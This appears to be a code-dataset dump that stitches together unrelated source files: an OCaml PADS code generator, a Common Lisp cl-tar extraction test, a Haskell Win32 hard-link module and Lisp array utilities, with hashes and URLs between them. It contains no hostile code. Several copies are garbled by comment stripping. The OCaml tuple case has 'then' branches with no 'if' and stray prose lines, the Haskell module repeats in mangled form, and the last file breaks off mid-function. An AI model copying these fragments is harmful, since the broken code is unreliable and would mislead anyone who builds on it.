| Pstring (PFStr s) -> [%expr Pads.make_mani (rep ^ [%e exp_make_string loc s]) ()][@metaloc loc]
| Pstring (PFRE re) -> [%expr Pads.make_mani rep ()][@metaloc loc]
| Pstring _ -> [%expr Pads.make_mani rep ()][@metaloc loc]
| Pconst (PFInt n) -> [%expr Pads.make_mani [%e exp_make_string loc (string_of_int n)] ()][@metaloc loc]
| Pconst (PFStr s) -> [%expr Pads.make_mani [%e exp_make_string loc s] ()][@metaloc loc]
| Pconst PFEOF -> [%expr Pads.make_mani "" ()][@metaloc loc]
| Pconst (PFRE _) -> [%expr Pads.make_mani rep ()][@metaloc loc]
| Ppred (_,past,_) -> [%expr [%e pads_manifest past] (rep,md)][@metaloc loc]
| Pvar(vname) -> [%expr [%e exp_make_ident loc (pads_manifest_name vname)] (rep,md)][@metaloc loc]
| Plist(past,sep,term) ->
let s = match term with
| PFEOF
| PFInt _ -> exp_make_string loc ""
| PFRE re -> default_rep_gen @@ mk_ast loc (Pconst (PFRE re))
| PFStr s -> exp_make_string loc s
in
[%expr
let m = List.map [%e pads_manifest past] (List.combine rep md.pads_data) in
let buf = Buffer.create 1024 in
let _ = PadsParser.list_to_buf (fun buf (m,_) -> Buffer.add_string buf m.pads_str) [%e pf_converter loc sep] buf (m,m) in
let _ = Buffer.add_string buf [%e s] in
let s = Buffer.contents buf in
let errList = List.concat (List.map (fun m -> m.pads_man_errors) m) in
{ pads_man_errors = errList;
pads_str = s;
pads_manifest = m;
}][@metaloc loc]
| Precord (rlist) ->
let named_rlist = List.filter (fun re ->
match re with
| Unnamed _ -> false
| Named _ -> true
) rlist
in
let named_rlist = List.map (fun re ->
match re with
| Unnamed _ -> raise_loc_err loc "Precord manifest: Filter didn't work properly."
| Named (x,past) -> (x,past)
) named_rlist
in
let mani_assgn = List.map (fun (lbli,_) -> (pads_manifest_name lbli),(pads_manifest_name lbli)) named_rlist in
let errMsg = List.fold_left (fun acc (lbli,_) ->
[%expr [%e exp_make_field_n loc (pads_manifest_name lbli) "pads_man_errors"] @ [%e acc] ][@metaloc loc]
) ([%expr []][@metaloc loc]) named_rlist
in
let end_exp =
[%expr
{ pads_man_errors = [%e errMsg];
pads_str = Buffer.contents buf;
pads_manifest = [%e exp_make_record_s loc mani_assgn]}][@metaloc loc]
in
let final_exp =
List.fold_right (fun re acc ->
match re with
| Unnamed past ->
let loc = get_loc past in
[%expr let _ = [%e pads_to_string past] buf ([%e default_rep_gen past],[%e default_md_gen past]) in
[%e acc]][@metaloc loc]
| Named (x,past) ->
let loc = get_loc past in
let ePair = [%expr ([%e exp_make_field_n loc "rep" x],
[%e exp_make_field loc (exp_make_field_n loc "md" "pads_data") (pads_md_name x)])][@metaloc loc] in
[%expr
let [%p pat_make_var loc (pads_manifest_name x)] = [%e pads_manifest past] [%e ePair] in
let _ = Buffer.add_string buf [%e exp_make_field_n loc (pads_manifest_name x) "pads_str"] in
[%e acc]][@metaloc loc]
) rlist end_exp
in
[%expr let buf = Buffer.create 1024 in
[%e final_exp]][@metaloc loc]
| Pdatatype vlist ->
let failCase =
{pc_lhs = Pat.any ~loc ();
pc_guard = None;
pc_rhs = [%expr failwith "PADS Error: Rep and metadata type don't match for loaded pdatatype"][@metaloc loc]}
in
let clist =
List.fold_right (fun (name,past) acc ->
{pc_lhs = [%pat? ([%p pat_make_construct loc ~pat:(pat_make_var loc "rep") name],
[%p pat_make_construct loc ~pat:(pat_make_var loc "md") (pads_md_name name)])][@metaloc loc];
pc_guard = None;
pc_rhs = [%expr let mani = [%e pads_manifest past] (rep,md) in
{ mani with pads_manifest = [%e exp_make_construct loc ~exp:(exp_make_ident loc "mani") (pads_manifest_name name)]}][@metaloc loc] ;
} :: acc
) vlist [failCase]
in
exp_make_match loc ([%expr (rep,md.pads_data)][@metaloc loc]) clist
| Ptuple (p1,p2) ->
let b1 = check_uniticity p1 in
let b2 = check_uniticity p2 in
then
[%expr
let m1 = [%e pads_manifest p1] ((),[%e default_md_gen p1]) in
let m2 = [%e pads_manifest p2] ((),[%e default_md_gen p2]) in
{ pads_man_errors = m1.pads_man_errors @ m2.pads_man_errors;
pads_str = m1.pads_str ^ m2.pads_str;
pads_manifest = ()}
][@metaloc loc]
then
[%expr
let m1 = [%e pads_manifest p1] ((),[%e default_md_gen p1]) in
let m2 = [%e pads_manifest p2] (rep,md) in
{ pads_man_errors = m1.pads_man_errors @ m2.pads_man_errors;
pads_str = m1.pads_str ^ m2.pads_str;
pads_manifest = m2.pads_manifest}
][@metaloc loc]
then
[%expr
let m1 = [%e pads_manifest p1] (rep,md) in
let m2 = [%e pads_manifest p2] ((),[%e default_md_gen p2]) in
{ pads_man_errors = m1.pads_man_errors @ m2.pads_man_errors;
pads_str = m1.pads_str ^ m2.pads_str;
pads_manifest = m1.pads_manifest}
][@metaloc loc]
let rec aggreg name op n =
let agg = aggreg name op in
if n > 1
then [%expr [%e op] [%e agg (n-1)] [%e exp_make_field_n loc (Printf.sprintf "man%d" n) name]][@metaloc loc]
else exp_make_field_n loc (Printf.sprintf "man%d" n) name
in
let plist = listify_tuple past in
let plist = List.rev @@ fst @@ List.fold_left (fun (acc,n) p -> ((p,n)::acc),(n+1)) ([],1) plist in
let tlist = List.filter (fun (p,_) -> not @@ check_uniticity p) plist in
let repT = pat_make_tup loc @@ List.map (fun (_,n) -> pat_make_var loc @@ Printf.sprintf "rep%d" n) tlist in
let mdT = pat_make_tup loc @@ List.map (fun (_,n) -> pat_make_var loc @@ Printf.sprintf "md%d" n) tlist in
let man =
[%expr
{ pads_man_errors = [%e aggreg "pads_man_errors" ([%expr (@) ][@metaloc loc]) (List.length plist)];
pads_str = [%e aggreg "pads_str" ([%expr (^)][@metaloc loc]) (List.length plist)];
pads_manifest = [%e exp_make_tup loc @@ List.map (fun (_,n) -> exp_make_ident loc @@ Printf.sprintf "man%d" n) tlist]
}][@metaloc loc]
in
let exp =
List.fold_right (fun (past,n) acc ->
if check_uniticity past
then
[%expr
let [%p pat_make_var loc @@ Printf.sprintf "man%d" n] = [%e pads_manifest past] ((),[%e default_md_gen past]) in
[%e acc]][@metaloc loc]
else
[%expr
let [%p pat_make_var loc @@ Printf.sprintf "man%d" n] =
[%e pads_manifest past] ([%e exp_make_ident loc @@ Printf.sprintf "rep%d" n],
[%e exp_make_ident loc @@ Printf.sprintf "md%d" n])
in [%e acc]][@metaloc loc]
) plist man
in
[%expr let ([%p repT],[%p mdT]) = (rep,md.pads_data) in
[%e exp]
][@metaloc loc]
in
[%expr (fun (rep,md) -> [%e exp])][@metaloc loc]
Generates the OCaml AST from PADS AST
let def_generator loc (plist : (string * pads_node ast) list) : structure =
tlist - type list , llist - let list ( structure items )
let def_gen ((name,past) : string * pads_node ast) (tlist,llist) : (type_declaration list * structure) =
let loc = past.loc in
let reps,rep = pads_rep_type_gen past in
let mds, md = pads_md_type_gen past in
let manis, mani = pads_mani_type_gen past in
let rep_decl = typ_make_type_decl loc (pads_rep_name name) ~manifest:rep in
let md_decl = typ_make_type_decl loc (pads_md_name name) ~manifest:md in
let mani_decl = typ_make_type_decl loc (pads_manifest_name name) ~manifest:mani in
let new_tlist = manis @ [mani_decl] @ reps @ [rep_decl] @ mds @ [md_decl] @ tlist in
let def_rep = default_rep_gen past in
let def_md = default_md_gen past in
let default_rep =
[%stri
let [%p pat_make_var loc (pads_default_rep_name name)] = [%e def_rep]
][@metaloc loc] in
let default_md =
[%stri
let [%p pat_make_var loc (pads_default_md_name name)] = [%e def_md]
][@metaloc loc] in
let parse_s_typ =
[%type: ([%t typ_make_constr loc (pads_rep_name name)],[%t typ_make_constr loc (pads_md_name name)]) PadsParser.pads_parser
][@metaloc loc] in
let parse_typ =
[%type: filepath -> ([%t typ_make_constr loc (pads_rep_name name)] * [%t typ_make_constr loc (pads_md_name name)])
][@metaloc loc] in
let parse_s =
[%stri let [%p pat_make_var loc (pads_parse_s_name name)] : [%t parse_s_typ] = [%e parse_gen past]
][@metaloc loc]
in
let parse =
[%stri let [%p pat_make_var loc (pads_parse_name name)] : [%t parse_typ] =
PadsParser.pads_load [%e def_rep] [%e def_md] [%e exp_make_ident loc (pads_parse_s_name name)]
][@metaloc loc]
in
let to_buffer_typ =
[%type: Buffer.t -> ([%t typ_make_constr loc (pads_rep_name name)] * [%t typ_make_constr loc (pads_md_name name)]) -> unit
][@metaloc loc] in
let to_string_typ =
[%type: ([%t typ_make_constr loc (pads_rep_name name)] * [%t typ_make_constr loc (pads_md_name name)]) -> string
][@metaloc loc] in
let to_buffer =
[%stri let [%p pat_make_var loc (pads_to_buffer_name name)] : [%t to_buffer_typ] = [%e pads_to_string past]
][@metaloc loc]
in
let to_string =
[%stri let [%p pat_make_var loc (pads_to_string_name name)] : [%t to_string_typ] =
(fun (rep,md) ->
let buf = Buffer.create 1024 in
let _ = [%e exp_make_ident loc (pads_to_buffer_name name)] buf (rep,md) in
Buffer.contents buf)
][@metaloc loc]
in
let mani_typ =
[%type: ([%t typ_make_constr loc (pads_rep_name name)] * [%t typ_make_constr loc (pads_md_name name)]) ->
[%t typ_make_constr loc (pads_manifest_name name)]][@metaloc loc] in
let manifest =
[%stri let [%p pat_make_var loc (pads_manifest_name name)] : [%t mani_typ] = [%e pads_manifest past]
][@metaloc loc]
in
new_tlist, (manifest :: to_buffer :: to_string :: default_rep :: default_md :: parse_s :: parse :: llist)
in
let types, lets = List.fold_right def_gen plist ([], []) in
(Str.type_ ~loc Recursive types) :: lets
|
136479785b38f5a3c4b681fab19a1d15a8ad5b189630a8c3a4f7d4a65905c0c2 | lisp-mirror/cl-tar | extract.lisp | (in-package #:tar-extract-test)
(para:define-test extract-v7
(with-temp-dir ()
(tar:with-open-archive (a (asdf:system-relative-pathname
:tar "test/v7.tar"))
(tar-extract:extract-archive a :symbolic-links #+windows :dereference #-windows t
:hard-links #+windows :dereference #-windows t)
(para:is equal
"Hello, world!
"
(uiop:read-file-string (merge-pathnames "a.txt")))
#-windows
(para:is eql
:symbolic-link
(osicat:file-kind (merge-pathnames "a-symlink.txt")))
#-windows
(para:is equal
"a.txt"
(nix:readlink (merge-pathnames "a-symlink.txt")))
(para:is equal
"Hello, world!
"
(uiop:read-file-string (merge-pathnames "a-symlink.txt")))
(para:is equal
"Hello, world!
"
(uiop:read-file-string (merge-pathnames "a-hardlink.txt"))))))
(para:define-test extract-ustar-1
(uiop:with-temporary-file (:stream s :pathname pn :type "tar"
:element-type '(unsigned-byte 8))
(tar:with-open-archive (a s :direction :output :type 'tar:pax-archive)
(tar:write-entry a (make-instance 'tar:file-entry
:name "a.txt"
:size 14
:data "Hello, world!
"
:uname "root"
:gname "root"
:uid 0
:gid 0
:mode '(:user-read :user-write
:group-read
:other-read)
:mtime (local-time:unix-to-timestamp 2000 :nsec 15)))
(tar:write-entry a (make-instance 'tar:symbolic-link-entry
:name "a-symlink.txt"
:linkname "a.txt"
:mtime (local-time:unix-to-timestamp 2000 :nsec 20)
:uname "root"
:gname "root"
:uid 0
:gid 0
:mode '(:user-read :user-write :user-exec
:group-read :group-write :group-exec
:other-read :other-write :other-exec)))
(tar:write-entry a (make-instance 'tar:hard-link-entry
:name "a-hardlink.txt"
:linkname "a.txt"
:mtime (local-time:unix-to-timestamp 2000 :nsec 15)
:uname "root"
:gname "root"
:uid 0
:gid 0
:mode '(:user-read :user-write
:group-read
:other-read))))
:close-stream
(with-temp-dir ()
(tar:with-open-archive (a pn)
(tar-extract:extract-archive a :symbolic-links #+windows :dereference #-windows t
:hard-links #+windows :dereference #-windows t)
(para:is equal
"Hello, world!
"
(uiop:read-file-string (merge-pathnames "a.txt")))
#-windows
(para:is eql
:symbolic-link
(osicat:file-kind (merge-pathnames "a-symlink.txt")))
#-windows
(para:is equal
"a.txt"
(nix:readlink (merge-pathnames "a-symlink.txt")))
(para:is equal
"Hello, world!
"
(uiop:read-file-string (merge-pathnames "a-symlink.txt")))
(para:is equal
"Hello, world!
"
(uiop:read-file-string (merge-pathnames "a-hardlink.txt")))))))
(para:define-test extract-ustar-2
(uiop:with-temporary-file (:stream s :pathname pn :type "tar"
:element-type '(unsigned-byte 8))
(tar:with-open-archive (a s :direction :output :type 'tar:pax-archive)
(tar:write-entry a (make-instance 'tar:directory-entry
:name "dir/"
:mtime (local-time:unix-to-timestamp 2000 :nsec 10)
:uname "root"
:gname "root"
:uid 0
:gid 0
:mode '(:user-read :user-write :user-exec
:other-read :other-exec
:group-read :group-exec)))
(tar:write-entry a (make-instance 'tar:file-entry
:name "dir/a.txt"
:size 14
:data "Hello, world!
"
:uname "root"
:gname "root"
:uid 0
:gid 0
:mode '(:user-read :user-write
:group-read
:other-read)
:mtime (local-time:unix-to-timestamp 2000 :nsec 15)))
(tar:write-entry a (make-instance 'tar:symbolic-link-entry
:name "dir/a-symlink.txt"
:linkname "a.txt"
:mtime (local-time:unix-to-timestamp 2000 :nsec 20)
:uname "root"
:gname "root"
:uid 0
:gid 0
:mode '(:user-read :user-write :user-exec
:group-read :group-write :group-exec
:other-read :other-write :other-exec)))
(tar:write-entry a (make-instance 'tar:hard-link-entry
:name "dir/a-hardlink.txt"
:linkname "dir/a.txt"
:mtime (local-time:unix-to-timestamp 2000 :nsec 15)
:uname "root"
:gname "root"
:uid 0
:gid 0
:mode '(:user-read :user-write
:group-read
:other-read))))
:close-stream
(with-temp-dir ()
(tar:with-open-archive (a pn)
(tar-extract:extract-archive a :symbolic-links #+windows :dereference #-windows t
:hard-links #+windows :dereference #-windows t)
(para:is equal
"Hello, world!
"
(uiop:read-file-string (merge-pathnames "dir/a.txt")))
#-windows
(para:is eql
:symbolic-link
(osicat:file-kind (merge-pathnames "dir/a-symlink.txt")))
#-windows
(para:is equal
"a.txt"
(nix:readlink (merge-pathnames "dir/a-symlink.txt")))
(para:is equal
"Hello, world!
"
(uiop:read-file-string (merge-pathnames "dir/a-symlink.txt")))
(para:is equal
"Hello, world!
"
(uiop:read-file-string (merge-pathnames "dir/a-hardlink.txt")))
#-windows
(progn
(para:is = 2000 (nix:stat-mtime (nix:stat (merge-pathnames "dir/a.txt"))))
(para:is = 15 (nix:stat-mtime-nsec (nix:stat (merge-pathnames "dir/a.txt"))))
(para:is = 2000 (nix:stat-mtime (nix:stat (merge-pathnames "dir/a-hardlink.txt"))))
(para:is = 15 (nix:stat-mtime-nsec (nix:stat (merge-pathnames "dir/a-hardlink.txt"))))
(para:is = 2000 (nix:stat-mtime (nix:stat (merge-pathnames "dir/"))))
(para:is = 10 (nix:stat-mtime-nsec (nix:stat (merge-pathnames "dir/")))))))))
| null | https://raw.githubusercontent.com/lisp-mirror/cl-tar/b25b03cd47b4b4b308546e346b2c9ec2718f358f/test/extract/extract.lisp | lisp | (in-package #:tar-extract-test)
(para:define-test extract-v7
(with-temp-dir ()
(tar:with-open-archive (a (asdf:system-relative-pathname
:tar "test/v7.tar"))
(tar-extract:extract-archive a :symbolic-links #+windows :dereference #-windows t
:hard-links #+windows :dereference #-windows t)
(para:is equal
"Hello, world!
"
(uiop:read-file-string (merge-pathnames "a.txt")))
#-windows
(para:is eql
:symbolic-link
(osicat:file-kind (merge-pathnames "a-symlink.txt")))
#-windows
(para:is equal
"a.txt"
(nix:readlink (merge-pathnames "a-symlink.txt")))
(para:is equal
"Hello, world!
"
(uiop:read-file-string (merge-pathnames "a-symlink.txt")))
(para:is equal
"Hello, world!
"
(uiop:read-file-string (merge-pathnames "a-hardlink.txt"))))))
(para:define-test extract-ustar-1
(uiop:with-temporary-file (:stream s :pathname pn :type "tar"
:element-type '(unsigned-byte 8))
(tar:with-open-archive (a s :direction :output :type 'tar:pax-archive)
(tar:write-entry a (make-instance 'tar:file-entry
:name "a.txt"
:size 14
:data "Hello, world!
"
:uname "root"
:gname "root"
:uid 0
:gid 0
:mode '(:user-read :user-write
:group-read
:other-read)
:mtime (local-time:unix-to-timestamp 2000 :nsec 15)))
(tar:write-entry a (make-instance 'tar:symbolic-link-entry
:name "a-symlink.txt"
:linkname "a.txt"
:mtime (local-time:unix-to-timestamp 2000 :nsec 20)
:uname "root"
:gname "root"
:uid 0
:gid 0
:mode '(:user-read :user-write :user-exec
:group-read :group-write :group-exec
:other-read :other-write :other-exec)))
(tar:write-entry a (make-instance 'tar:hard-link-entry
:name "a-hardlink.txt"
:linkname "a.txt"
:mtime (local-time:unix-to-timestamp 2000 :nsec 15)
:uname "root"
:gname "root"
:uid 0
:gid 0
:mode '(:user-read :user-write
:group-read
:other-read))))
:close-stream
(with-temp-dir ()
(tar:with-open-archive (a pn)
(tar-extract:extract-archive a :symbolic-links #+windows :dereference #-windows t
:hard-links #+windows :dereference #-windows t)
(para:is equal
"Hello, world!
"
(uiop:read-file-string (merge-pathnames "a.txt")))
#-windows
(para:is eql
:symbolic-link
(osicat:file-kind (merge-pathnames "a-symlink.txt")))
#-windows
(para:is equal
"a.txt"
(nix:readlink (merge-pathnames "a-symlink.txt")))
(para:is equal
"Hello, world!
"
(uiop:read-file-string (merge-pathnames "a-symlink.txt")))
(para:is equal
"Hello, world!
"
(uiop:read-file-string (merge-pathnames "a-hardlink.txt")))))))
(para:define-test extract-ustar-2
(uiop:with-temporary-file (:stream s :pathname pn :type "tar"
:element-type '(unsigned-byte 8))
(tar:with-open-archive (a s :direction :output :type 'tar:pax-archive)
(tar:write-entry a (make-instance 'tar:directory-entry
:name "dir/"
:mtime (local-time:unix-to-timestamp 2000 :nsec 10)
:uname "root"
:gname "root"
:uid 0
:gid 0
:mode '(:user-read :user-write :user-exec
:other-read :other-exec
:group-read :group-exec)))
(tar:write-entry a (make-instance 'tar:file-entry
:name "dir/a.txt"
:size 14
:data "Hello, world!
"
:uname "root"
:gname "root"
:uid 0
:gid 0
:mode '(:user-read :user-write
:group-read
:other-read)
:mtime (local-time:unix-to-timestamp 2000 :nsec 15)))
(tar:write-entry a (make-instance 'tar:symbolic-link-entry
:name "dir/a-symlink.txt"
:linkname "a.txt"
:mtime (local-time:unix-to-timestamp 2000 :nsec 20)
:uname "root"
:gname "root"
:uid 0
:gid 0
:mode '(:user-read :user-write :user-exec
:group-read :group-write :group-exec
:other-read :other-write :other-exec)))
(tar:write-entry a (make-instance 'tar:hard-link-entry
:name "dir/a-hardlink.txt"
:linkname "dir/a.txt"
:mtime (local-time:unix-to-timestamp 2000 :nsec 15)
:uname "root"
:gname "root"
:uid 0
:gid 0
:mode '(:user-read :user-write
:group-read
:other-read))))
:close-stream
(with-temp-dir ()
(tar:with-open-archive (a pn)
(tar-extract:extract-archive a :symbolic-links #+windows :dereference #-windows t
:hard-links #+windows :dereference #-windows t)
(para:is equal
"Hello, world!
"
(uiop:read-file-string (merge-pathnames "dir/a.txt")))
#-windows
(para:is eql
:symbolic-link
(osicat:file-kind (merge-pathnames "dir/a-symlink.txt")))
#-windows
(para:is equal
"a.txt"
(nix:readlink (merge-pathnames "dir/a-symlink.txt")))
(para:is equal
"Hello, world!
"
(uiop:read-file-string (merge-pathnames "dir/a-symlink.txt")))
(para:is equal
"Hello, world!
"
(uiop:read-file-string (merge-pathnames "dir/a-hardlink.txt")))
#-windows
(progn
(para:is = 2000 (nix:stat-mtime (nix:stat (merge-pathnames "dir/a.txt"))))
(para:is = 15 (nix:stat-mtime-nsec (nix:stat (merge-pathnames "dir/a.txt"))))
(para:is = 2000 (nix:stat-mtime (nix:stat (merge-pathnames "dir/a-hardlink.txt"))))
(para:is = 15 (nix:stat-mtime-nsec (nix:stat (merge-pathnames "dir/a-hardlink.txt"))))
(para:is = 2000 (nix:stat-mtime (nix:stat (merge-pathnames "dir/"))))
(para:is = 10 (nix:stat-mtime-nsec (nix:stat (merge-pathnames "dir/")))))))))
| |
dfd7af4b805fcf84a0879986740374033ff80a9f7dd2ab9e4caadc305ed8af3c | haskell/win32 | HardLink.hs | # LANGUAGE CPP #
|
Module : System . Win32.HardLink
Copyright : 2013 shelarcy
License : BSD - style
Maintainer :
Stability : Provisional
Portability : Non - portable ( Win32 API )
Handling hard link using Win32 API . [ NTFS only ]
Note : You should worry about file system type when use this module 's function in your application :
* NTFS only supports this functionality .
* ReFS does n't support hard link currently .
Module : System.Win32.HardLink
Copyright : 2013 shelarcy
License : BSD-style
Maintainer :
Stability : Provisional
Portability : Non-portable (Win32 API)
Handling hard link using Win32 API. [NTFS only]
Note: You should worry about file system type when use this module's function in your application:
* NTFS only supports this functionality.
* ReFS doesn't support hard link currently.
-}
module System.Win32.HardLink
( createHardLink
, createHardLink'
) where
import System.Win32.HardLink.Internal
import System.Win32.File ( failIfFalseWithRetry_ )
import System.Win32.String ( withTString )
import System.Win32.Types ( nullPtr )
#include "windows_cconv.h"
-- | NOTE: createHardLink is /flipped arguments/ to provide compatibility for Unix.
--
-- If you want to create hard link by Windows way, use 'createHardLink'' instead.
createHardLink :: FilePath -- ^ Target file path
-> FilePath -- ^ Hard link name
-> IO ()
createHardLink = flip createHardLink'
createHardLink' :: FilePath -- ^ Hard link name
-> FilePath -- ^ Target file path
-> IO ()
createHardLink' link target =
withTString target $ \c_target ->
withTString link $ \c_link ->
failIfFalseWithRetry_ (unwords ["CreateHardLinkW",show link,show target]) $
c_CreateHardLink c_link c_target nullPtr
-- We plan to check file system type internally .
-- We are thinking about API design , currently ...
data VolumeInformation = VolumeInformation
{ volumeName : : String
, volumeSerialNumber : : DWORD
, maximumComponentLength : : DWORD
, fileSystemFlags : : DWORD
, fileSystemName : : String
} deriving Show
getVolumeInformation : : Maybe String - > IO VolumeInformation
getVolumeInformation drive =
maybeWith withTString drive $ \c_drive - >
withTStringBufferLen 256 $ \(vnBuf , vnLen ) - >
alloca $ \serialNum - >
alloca $ \maxLen - >
alloca $ \fsFlags - >
withTStringBufferLen 256 $ \(fsBuf , fsLen ) - > do
failIfFalse _ ( unwords [ " GetVolumeInformationW " , drive ] ) $
c_GetVolumeInformation c_drive vnBuf ( fromIntegral vnLen )
serialNum maxLen fsFlags
fsBuf ( fromIntegral fsLen )
return VolumeInformation
< * > peekTString vnBuf
< * > peek serialNum
< * > peek maxLen
< * > peek fsFlags
< * > peekTString fsBuf
-- Which is better ?
getVolumeFileType : : String - > IO String
getVolumeFileType drive = fileSystemName < $ > getVolumeInformation drive
getVolumeFileType : : String - > IO String
getVolumeFileType drive =
withTString drive $ \c_drive - >
withTStringBufferLen 256 $ \(buf , len ) - > do
failIfFalse _ ( unwords [ " GetVolumeInformationW " , drive ] ) $
c_GetVolumeInformation c_drive nullPtr 0 nullPtr nullPtr nullPtr buf ( fromIntegral len )
peekTString buf
foreign import WINDOWS_CCONV unsafe " windows.h GetVolumeInformationW "
c_GetVolumeInformation : : LPCTSTR - > LPTSTR - > DWORD - > LPDWORD - > LPDWORD - > LPDWORD - > LPTSTR - > DWORD - > IO BOOL
-- We plan to check file system type internally.
-- We are thinking about API design, currently...
data VolumeInformation = VolumeInformation
{ volumeName :: String
, volumeSerialNumber :: DWORD
, maximumComponentLength :: DWORD
, fileSystemFlags :: DWORD
, fileSystemName :: String
} deriving Show
getVolumeInformation :: Maybe String -> IO VolumeInformation
getVolumeInformation drive =
maybeWith withTString drive $ \c_drive ->
withTStringBufferLen 256 $ \(vnBuf, vnLen) ->
alloca $ \serialNum ->
alloca $ \maxLen ->
alloca $ \fsFlags ->
withTStringBufferLen 256 $ \(fsBuf, fsLen) -> do
failIfFalse_ (unwords ["GetVolumeInformationW", drive]) $
c_GetVolumeInformation c_drive vnBuf (fromIntegral vnLen)
serialNum maxLen fsFlags
fsBuf (fromIntegral fsLen)
return VolumeInformation
<*> peekTString vnBuf
<*> peek serialNum
<*> peek maxLen
<*> peek fsFlags
<*> peekTString fsBuf
-- Which is better?
getVolumeFileType :: String -> IO String
getVolumeFileType drive = fileSystemName <$> getVolumeInformation drive
getVolumeFileType :: String -> IO String
getVolumeFileType drive =
withTString drive $ \c_drive ->
withTStringBufferLen 256 $ \(buf, len) -> do
failIfFalse_ (unwords ["GetVolumeInformationW", drive]) $
c_GetVolumeInformation c_drive nullPtr 0 nullPtr nullPtr nullPtr buf (fromIntegral len)
peekTString buf
foreign import WINDOWS_CCONV unsafe "windows.h GetVolumeInformationW"
c_GetVolumeInformation :: LPCTSTR -> LPTSTR -> DWORD -> LPDWORD -> LPDWORD -> LPDWORD -> LPTSTR -> DWORD -> IO BOOL
-}
| null | https://raw.githubusercontent.com/haskell/win32/931497f7052f63cb5cfd4494a94e572c5c570642/System/Win32/HardLink.hs | haskell | | NOTE: createHardLink is /flipped arguments/ to provide compatibility for Unix.
If you want to create hard link by Windows way, use 'createHardLink'' instead.
^ Target file path
^ Hard link name
^ Hard link name
^ Target file path
We plan to check file system type internally .
We are thinking about API design , currently ...
Which is better ?
We plan to check file system type internally.
We are thinking about API design, currently...
Which is better?
| # LANGUAGE CPP #
|
Module : System . Win32.HardLink
Copyright : 2013 shelarcy
License : BSD - style
Maintainer :
Stability : Provisional
Portability : Non - portable ( Win32 API )
Handling hard link using Win32 API . [ NTFS only ]
Note : You should worry about file system type when use this module 's function in your application :
* NTFS only supports this functionality .
* ReFS does n't support hard link currently .
Module : System.Win32.HardLink
Copyright : 2013 shelarcy
License : BSD-style
Maintainer :
Stability : Provisional
Portability : Non-portable (Win32 API)
Handling hard link using Win32 API. [NTFS only]
Note: You should worry about file system type when use this module's function in your application:
* NTFS only supports this functionality.
* ReFS doesn't support hard link currently.
-}
module System.Win32.HardLink
( createHardLink
, createHardLink'
) where
import System.Win32.HardLink.Internal
import System.Win32.File ( failIfFalseWithRetry_ )
import System.Win32.String ( withTString )
import System.Win32.Types ( nullPtr )
#include "windows_cconv.h"
-> IO ()
createHardLink = flip createHardLink'
-> IO ()
createHardLink' link target =
withTString target $ \c_target ->
withTString link $ \c_link ->
failIfFalseWithRetry_ (unwords ["CreateHardLinkW",show link,show target]) $
c_CreateHardLink c_link c_target nullPtr
data VolumeInformation = VolumeInformation
{ volumeName : : String
, volumeSerialNumber : : DWORD
, maximumComponentLength : : DWORD
, fileSystemFlags : : DWORD
, fileSystemName : : String
} deriving Show
getVolumeInformation : : Maybe String - > IO VolumeInformation
getVolumeInformation drive =
maybeWith withTString drive $ \c_drive - >
withTStringBufferLen 256 $ \(vnBuf , vnLen ) - >
alloca $ \serialNum - >
alloca $ \maxLen - >
alloca $ \fsFlags - >
withTStringBufferLen 256 $ \(fsBuf , fsLen ) - > do
failIfFalse _ ( unwords [ " GetVolumeInformationW " , drive ] ) $
c_GetVolumeInformation c_drive vnBuf ( fromIntegral vnLen )
serialNum maxLen fsFlags
fsBuf ( fromIntegral fsLen )
return VolumeInformation
< * > peekTString vnBuf
< * > peek serialNum
< * > peek maxLen
< * > peek fsFlags
< * > peekTString fsBuf
getVolumeFileType : : String - > IO String
getVolumeFileType drive = fileSystemName < $ > getVolumeInformation drive
getVolumeFileType : : String - > IO String
getVolumeFileType drive =
withTString drive $ \c_drive - >
withTStringBufferLen 256 $ \(buf , len ) - > do
failIfFalse _ ( unwords [ " GetVolumeInformationW " , drive ] ) $
c_GetVolumeInformation c_drive nullPtr 0 nullPtr nullPtr nullPtr buf ( fromIntegral len )
peekTString buf
foreign import WINDOWS_CCONV unsafe " windows.h GetVolumeInformationW "
c_GetVolumeInformation : : LPCTSTR - > LPTSTR - > DWORD - > LPDWORD - > LPDWORD - > LPDWORD - > LPTSTR - > DWORD - > IO BOOL
data VolumeInformation = VolumeInformation
{ volumeName :: String
, volumeSerialNumber :: DWORD
, maximumComponentLength :: DWORD
, fileSystemFlags :: DWORD
, fileSystemName :: String
} deriving Show
getVolumeInformation :: Maybe String -> IO VolumeInformation
getVolumeInformation drive =
maybeWith withTString drive $ \c_drive ->
withTStringBufferLen 256 $ \(vnBuf, vnLen) ->
alloca $ \serialNum ->
alloca $ \maxLen ->
alloca $ \fsFlags ->
withTStringBufferLen 256 $ \(fsBuf, fsLen) -> do
failIfFalse_ (unwords ["GetVolumeInformationW", drive]) $
c_GetVolumeInformation c_drive vnBuf (fromIntegral vnLen)
serialNum maxLen fsFlags
fsBuf (fromIntegral fsLen)
return VolumeInformation
<*> peekTString vnBuf
<*> peek serialNum
<*> peek maxLen
<*> peek fsFlags
<*> peekTString fsBuf
getVolumeFileType :: String -> IO String
getVolumeFileType drive = fileSystemName <$> getVolumeInformation drive
getVolumeFileType :: String -> IO String
getVolumeFileType drive =
withTString drive $ \c_drive ->
withTStringBufferLen 256 $ \(buf, len) -> do
failIfFalse_ (unwords ["GetVolumeInformationW", drive]) $
c_GetVolumeInformation c_drive nullPtr 0 nullPtr nullPtr nullPtr buf (fromIntegral len)
peekTString buf
foreign import WINDOWS_CCONV unsafe "windows.h GetVolumeInformationW"
c_GetVolumeInformation :: LPCTSTR -> LPTSTR -> DWORD -> LPDWORD -> LPDWORD -> LPDWORD -> LPTSTR -> DWORD -> IO BOOL
-}
|
144a2451effcd30eb1f2a8bee1754d0bfa0cfaa80d13561f56a37a7de265c4b4 | eslick/cl-stdutils | arrays.lisp | -*- Mode : Lisp ; Syntax : ANSI - Common - Lisp ; Base : 10 -*-
;;;; *************************************************************************
;;;; FILE IDENTIFICATION
;;;;
;;;; Name: arrays.lisp
;;;; Purpose: Random array utilities
Programmer :
Date Started : May 2005
;;;;
;;;; *************************************************************************
(in-package :stdutils)
(defun-exported fast-array-copy (a1 a2 start count)
"Unsafe array copy"
(declare #-(or mcl sbcl) (type (vector fixnum) a1 a2)
#-(or mcl sbcl) (type fixnum start count)
(optimize speed (safety 0)))
(loop for pos fixnum from start to (- count 1) do
(setf (svref a2 pos) (svref a1 pos))))
(defun-exported vector-1d-lshift (array index amount &key (adjust t))
(declare (type array array)
(type fixnum index amount)
(optimize (speed 3) (safety 1) (space 0) (debug 0)))
(loop for i from index upto (- (length array) amount 1) do
(setf (aref array i) (aref array (+ i amount))))
